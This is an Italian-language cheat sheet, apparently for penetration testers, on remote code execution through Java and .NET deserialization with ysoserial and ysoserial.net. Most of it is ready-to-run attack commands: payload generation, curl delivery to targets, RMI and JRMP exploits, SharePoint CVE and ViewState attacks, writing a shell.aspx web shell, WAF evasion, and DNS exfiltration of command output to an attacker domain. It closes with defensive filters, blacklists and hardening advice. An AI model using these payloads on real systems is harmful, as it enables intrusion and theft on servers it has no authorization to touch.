ysoserial: Exploit RCE per Java Deserialization e Gadget

# Requisiti: Java 1.7+, Maven 3.x+
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
# Output: target/ysoserial-all.jar

# Release pre-compilata
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Sintassi generale
java -jar ysoserial.jar [GadgetChain] '[comando]'

# Output su file binario
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Output base64 diretto
java -jar ysoserial.jar CommonsCollections1 'whoami' | base64

# Lista tutti i gadget disponibili
java -jar ysoserial.jar

# POST con payload binario
curl -s -X POST http://target:8080/endpoint \
  --data-binary @payload.bin \
  -H "Content-Type: application/x-java-serialized-object"

# Parametro base64 in un form
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0)
curl -s -X POST http://target:8080/app \
  -d "data=${PAYLOAD}"

# Genera payload URLDNS con il tuo Burp Collaborator o interactsh
java -jar ysoserial.jar URLDNS 'http://yourid.oast.fun' > urldns.bin

# Invia il payload al parametro sospetto
curl -s -X POST http://target:8080/api/deserialize \
  --data-binary @urldns.bin \
  -H "Content-Type: application/x-java-serialized-object"

# Avvia listener interactsh locale
interactsh-client

# Oppure usa il server pubblico Burp Collaborator (Burp Suite Pro)
# o canary tokens: https://canarytokens.org/generate

# Avvia il server JRMP listener sulla porta 1099
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'id'

# Genera payload che punta al tuo server JRMP
java -jar ysoserial.jar JRMPClient '10.10.14.5:1099' > jrmp.bin

# Attacca un RMI registry esposto sulla porta 1099
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit \
  10.10.11.50 1099 CommonsCollections1 'id'

# Windows - Visual Studio o msbuild
git clone https://github.com/pwntester/ysoserial.net.git
cd ysoserial.net
msbuild ysoserial.net.sln /p:Configuration=Release
# Output: ysoserial.net/bin/Release/ysoserial.exe

# Generale
.\ysoserial.exe -g [Gadget] -f [Formatter] -c "[comando]" -o [output]

# Esempio: Json.NET + ObjectDataProvider, output raw, test locale
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

# Esempio: BinaryFormatter + PSObject, output base64
.\ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "whoami"

# Output hex
.\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o hex -c "whoami"

# Minify + rimuovi type info extra
.\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c "whoami" --minify --ust

# Cerca tutti i gadget compatibili con un formatter
.\ysoserial.exe --sf BinaryFormatter

# Esegui tutti i gadget per un formatter (test massivo)
.\ysoserial.exe --raf -f Json.Net -c "calc" -t

# Json.NET + ObjectDataProvider
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "whoami" -t

# XmlSerializer + ObjectDataProvider
.\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -o raw -c "whoami" -t

# YamlDotNet (versione < 5.0.0)
.\ysoserial.exe -f YamlDotNet -g ObjectDataProvider -o raw -c "whoami" -t

# Esegui comando
.\ysoserial.exe -p DotNetNuke -m run_command -c "whoami"

# Leggi file
.\ysoserial.exe -p DotNetNuke -m read_file -f "C:\Windows\win.ini"

# Scrivi file
.\ysoserial.exe -p DotNetNuke -m write_file -f "C:\inetpub\wwwroot\shell.aspx" -c "[contenuto]"

# CVE-2018-8421
.\ysoserial.exe -p SharePoint --cve CVE-2018-8421 -c "whoami"

# CVE-2019-0604
.\ysoserial.exe -p SharePoint --cve CVE-2019-0604 -c "whoami"

# CVE-2020-1147
.\ysoserial.exe -p SharePoint --cve CVE-2020-1147 -c "whoami"

# ViewState con chiave nota (MAC bypass)
.\ysoserial.exe -p ViewState \
  -g ActivitySurrogateSelector \
  -c "whoami" \
  --apppath "/" \
  --vk "your-validationkey-hex"

# ViewState senza chiave (legacy .NET 2.0-3.5)
.\ysoserial.exe -p ViewState \
  -g TypeConfuseDelegate \
  -c "whoami" \
  --islegacy

# Esempi di utilizzo
.\ysoserial.exe -p ViewState --examples

# Sfrutta il token handler con chiave macchina nota o estratta
.\ysoserial.exe -p MachineKeySessionSecurityTokenHandler \
  -c "whoami" \
  --vk "validationkey" \
  --ek "encryptionkey"

# HttpStaticObjectsCollection
.\ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -c "whoami"

# SessionStateItemCollection
.\ysoserial.exe -p Altserialization -M SessionStateItemCollection -c "whoami"

# Genera file RESX malevolo
.\ysoserial.exe -p Resx -M BinaryFormatter -c "whoami"

# Cerca nei cookie
curl -v http://target/ 2>&1 | grep -i "set-cookie"

# Cerca header/parametri con base64 sospetto
# Decodifica e controlla i primi byte
echo "rO0ABXNyADJzdW4ubWlzYy5KREsxMjNBQkM..." | base64 -d | xxd | head -2
# Se vedi "ac ed 00 05" --> oggetto Java serializzato

# Scansiona RMI e JMX
nmap -sV -p 1099,1090,1098,4444,4445,8686,11099 target

# NSE per RMI
nmap -p 1099 --script rmi-dumpregistry target

# JMX
nmap -p 9010 --script jmx-info target

# Genera probe DNS
java -jar ysoserial.jar URLDNS 'http://UNIQUEID.yourdomain.com' > probe.bin

# Invia al parametro sospetto
curl -s -X POST http://target/deserialize \
  --data-binary @probe.bin \
  -H "Content-Type: application/x-java-serialized-object"

# Verifica DNS callback nel tuo listener (interactsh, Burp Collaborator)

# Step 1: Verifica se l'endpoint è raggiungibile
curl -s -o /dev/null -w "%{http_code}" \
  http://10.10.11.50:7001/wls-wsat/CoordinatorPortType

# Step 2: Probe con URLDNS
java -jar ysoserial.jar URLDNS 'http://probe.yourdomain.com' > probe.bin
curl -s -X POST http://10.10.11.50:7001/wls-wsat/CoordinatorPortType \
  --data-binary @probe.bin \
  -H "Content-Type: application/octet-stream"

# Step 3: DNS callback ricevuto → conferma deserializzazione
# Ora fingerprint il classpath tramite errori dello stack trace

# Step 4: Prova CommonsCollections1 (comune in WebLogic con CC 3.x)
java -jar ysoserial.jar CommonsCollections1 'id' > cc1.bin
curl -s -X POST http://10.10.11.50:7001/wls-wsat/CoordinatorPortType \
  --data-binary @cc1.bin \
  -H "Content-Type: application/octet-stream"

# Step 5: Se nessun output, prova CC2 con CC4
java -jar ysoserial.jar CommonsCollections2 'id' > cc2.bin

# Step 1: Identifica versione Jenkins
curl -s -I http://10.10.11.60:8080/ | grep -i "x-jenkins"

# Step 2: Accesso al CLI endpoint
curl -s http://10.10.11.60:8080/cli -H "Session: xxx" -H "Side: download"

# Step 3: Genera payload CommonsBeanutils1
java -jar ysoserial.jar CommonsBeanutils1 'whoami' > jenkins_cb1.bin

# Step 4: Invia tramite il canale CLI
# (ysoserial include un exploit wrapper per Jenkins CLI)
java -jar ysoserial.jar \
  -cp ysoserial.jar ysoserial.exploit.JenkinsCLI \
  http://10.10.11.60:8080/ CommonsBeanutils1 'whoami'

# Step 1: Recupera la Machine Key dal web.config esposto
curl http://target/backup/web.config | grep -i "machineKey"
# <machineKey validationKey="..." decryptionKey="..." validation="SHA1"/>

# Step 2: Genera ViewState payload con la chiave nota
.\ysoserial.exe -p ViewState `
  -g TextFormattingRunProperties `
  -c "whoami" `
  --apppath "/" `
  --islegacy `
  --vk "AAAABBBBCCCCDDDD..." `  # la validationKey estratta

# Step 3: Intercetta una request con Burp, sostituisci __VIEWSTATE
# con il valore base64 generato

# Step 4: Invia la request modificata
# Se l'output del comando appare nella response o in un side channel,
# la vulnerabilità è confermata

# Step 5: Cerca machine key anche in:
# - IIS Manager export
# - web.config.bak, web.config.old
# - Errori YSOD che includono config details
# - Azure App Service Kudu /api/vfs/site/wwwroot/web.config

# Monitora query DNS anomale da server applicativo (segno di URLDNS/gadget)
# nei log del resolver interno cerca:
# - query verso domini esterni da host che non dovrebbero navigare
# - query verso *.oast.fun, *.burpcollaborator.net, *.interactsh.com

# Zeek/Bro: alert su query DNS inusuali da server Java

# SerialKiller come Java Agent
java -javaagent:/path/to/serialkiller.jar \
  -Dserializer.config=/path/to/serialkiller.conf \
  -jar application.jar

# Cerca pattern sospetti nei log applicativi
grep -i "ClassNotFoundException\|InvalidClassException\|readObject\|StreamCorruptedException" \
  /var/log/app/*.log

# Cerca stack trace da gadget chain noti
grep -i "CommonsCollections\|BeanUtils\|InvokerTransformer\|ChainedTransformer" \
  /var/log/app/*.log

# URL-encode il payload binario
java -jar ysoserial.jar CommonsCollections1 'id' | python3 -c \
  "import sys,urllib.parse; data=sys.stdin.buffer.read(); print(urllib.parse.quote(data))"

# Invia con content-type legit se il WAF filtra per content-type
curl -X POST http://target/api/data \
  --data-binary @payload.bin \
  -H "Content-Type: application/octet-stream"

# Invia il payload in chunks per eludere inspection a stream intero
curl -X POST http://target/deserialize \
  --data-binary @payload.bin \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-java-serialized-object"

# Exfiltrazione tramite subdomain DNS (encoded)
# Es: {whoami_output}.yourdomain.com
java -jar ysoserial.jar URLDNS \
  'http://$(whoami).exfil.yourdomain.com' > exfil.bin

# ============================================================
# YSOSERIAL - JAVA DESERIALIZATION CHEAT SHEET
# ============================================================

# BUILD
mvn clean package -DskipTests                        # Compila
java -jar ysoserial.jar                              # Lista gadget

# PROBE (no side effects, no dipendenze)
java -jar ysoserial.jar URLDNS 'http://ID.oast.fun' > probe.bin

# GADGET CHAIN COMUNI
java -jar ysoserial.jar CommonsCollections1 'id' > cc1.bin   # CC 3.1
java -jar ysoserial.jar CommonsCollections2 'id' > cc2.bin   # CC4
java -jar ysoserial.jar CommonsCollections6 'id' > cc6.bin   # CC 3.1 (bypass)
java -jar ysoserial.jar CommonsBeanutils1 'id' > cb1.bin     # BeanUtils (Jenkins)
java -jar ysoserial.jar Spring1 'id' > spring1.bin           # Spring Framework
java -jar ysoserial.jar Jdk7u21 'id' > jdk7.bin              # JDK <= 7u21 (no deps)
java -jar ysoserial.jar ROME 'id' > rome.bin                 # rome:1.0

# OUTPUT BASE64
java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0

# INVIO HTTP
curl -X POST http://TARGET/endpoint \
  --data-binary @payload.bin \
  -H "Content-Type: application/x-java-serialized-object"

# RMI REGISTRY EXPLOIT
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit \
  TARGET 1099 CommonsCollections1 'id'

# JRMP LISTENER + CLIENT
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'id'
java -jar ysoserial.jar JRMPClient 'ATTACKER:1099' > jrmp_client.bin

# ============================================================
# YSOSERIAL.NET - .NET DESERIALIZATION CHEAT SHEET
# ============================================================

# LISTA GADGET PER FORMATTER
.\ysoserial.exe --sf BinaryFormatter
.\ysoserial.exe --sf Json.Net

# GADGET CHAIN COMUNI .NET
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "whoami"
.\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "whoami"
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "whoami" -t
.\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -o raw -c "whoami"
.\ysoserial.exe -f BinaryFormatter -g ClaimsPrincipal -o base64 -c "whoami"

# MINIFY
.\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c "whoami" --minify --ust

# TEST LOCALE
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

# STDIN PER COMANDI LUNGHI
cat command.txt | .\ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s

# TUTTI I GADGET PER UN FORMATTER (test massivo)
.\ysoserial.exe --raf -f BinaryFormatter -c "calc" -t

# PLUGIN
.\ysoserial.exe -p DotNetNuke -m run_command -c "whoami"
.\ysoserial.exe -p SharePoint --cve CVE-2019-0604 -c "whoami"
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" --apppath "/"

# ============================================================
# DETECTION MAGIC BYTES
# ============================================================
# Java Serialized Object:  AC ED 00 05  |  Base64: rO0AB
# .NET BinaryFormatter:    00 01 00 00 00 FF FF FF FF  |  Base64: AAEAAAD/////
# Python Pickle:           80 02 (o 80 04, 80 05)
# PHP Serialized:          O: / a: / s: (testo)

# Check rapido con xxd
echo "BASE64PAYLOAD==" | base64 -d | xxd | head -2

<!-- serialkiller.conf -->
<config>
  <refresh>6000</refresh>
  <mode>REJECT</mode>
  <blacklist>
    <regExp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regExp>
    <regExp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regExp>
    <regExp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regExp>
    <regExp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regExp>
    <regExp>org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regExp>
    <regExp>org\.codehaus\.groovy\.runtime\.MethodClosure$</regExp>
    <regExp>org\.springframework\.beans\.factory\.ObjectFactory$</regExp>
    <regExp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TemplatesImpl$</regExp>
    <regExp>bsh\.XThis$</regExp>
    <regExp>bsh\.Interpreter$</regExp>
  </blacklist>
  <whitelist>
    <regExp>java\.lang\.*</regExp>
    <regExp>java\.util\.*</regExp>
    <regExp>com\.myapp\.*</regExp>
  </whitelist>
</config>

// Configura un filter globale sulla JVM
// In jvm.options o come system property
// -Djdk.serialFilter=com.myapp.*;!*

// Oppure programmaticamente
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.*;java.lang.*;java.util.*;!*"
);
ObjectInputFilter.Config.setSerialFilter(filter);

// Invece di ObjectInputStream, usa librerie sicure:
// - Jackson con typeinfo disabilitato
// - Protocol Buffers (protobuf)
// - Apache Avro
// - JSON nativo (senza polimorfismo)

// Se devi usare Java serialization, almeno implementa
// un custom ObjectInputStream che filtra le classi:
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED = Set.of(
        "com.myapp.dto.UserDTO",
        "com.myapp.dto.OrderDTO"
    );

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws ClassNotFoundException, IOException {
        if (!ALLOWED.contains(desc.getName())) {
            throw new InvalidClassException("Blocked: " + desc.getName());
        }
        return super.resolveClass(desc);
    }
}

// .NET 5+: BinaryFormatter disabilitato per default
// Per riabilitarlo (SCONSIGLIATO):
// In runtimeconfig.json:
// "configProperties": {
//   "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": true
// }

// MIGRAZIONE: sostituisci BinaryFormatter con alternativa sicura
// PRIMA (insicuro):
var formatter = new BinaryFormatter();
var obj = formatter.Deserialize(stream);  // VULNERABLE

// DOPO (sicuro con System.Text.Json):
var obj = System.Text.Json.JsonSerializer.Deserialize<MyDto>(stream);

// INSICURO - permette gadget chain
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // VULNERABILE
};

// SICURO - disabilita type name handling
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.None  // DEFAULT SICURO
};

// Se hai bisogno di polimorfismo, usa SerializationBinder personalizzato:
settings.SerializationBinder = new SafeSerializationBinder(allowedTypes);

<!-- web.config: Machine Key FORTE e casuale -->
<system.web>
  <machineKey
    validationKey="[64+ byte hex casuali - NON usare AutoGenerate in web farm]"
    decryptionKey="[32+ byte hex casuali]"
    validation="HMACSHA256"
    decryption="AES" />

  <!-- Abilita MAC su ViewState (default true in .NET 4.5+) -->
  <pages enableViewStateMac="true" viewStateEncryptionMode="Always" />
</system.web>

# Java: verifica versioni CC nel pom.xml
grep -r "commons-collections" pom.xml
# Aggiorna a commons-collections 3.2.2+ o 4.1+

# Maven dependency check (OWASP)
mvn org.owasp:dependency-check-maven:check

# .NET: NuGet audit
dotnet list package --vulnerable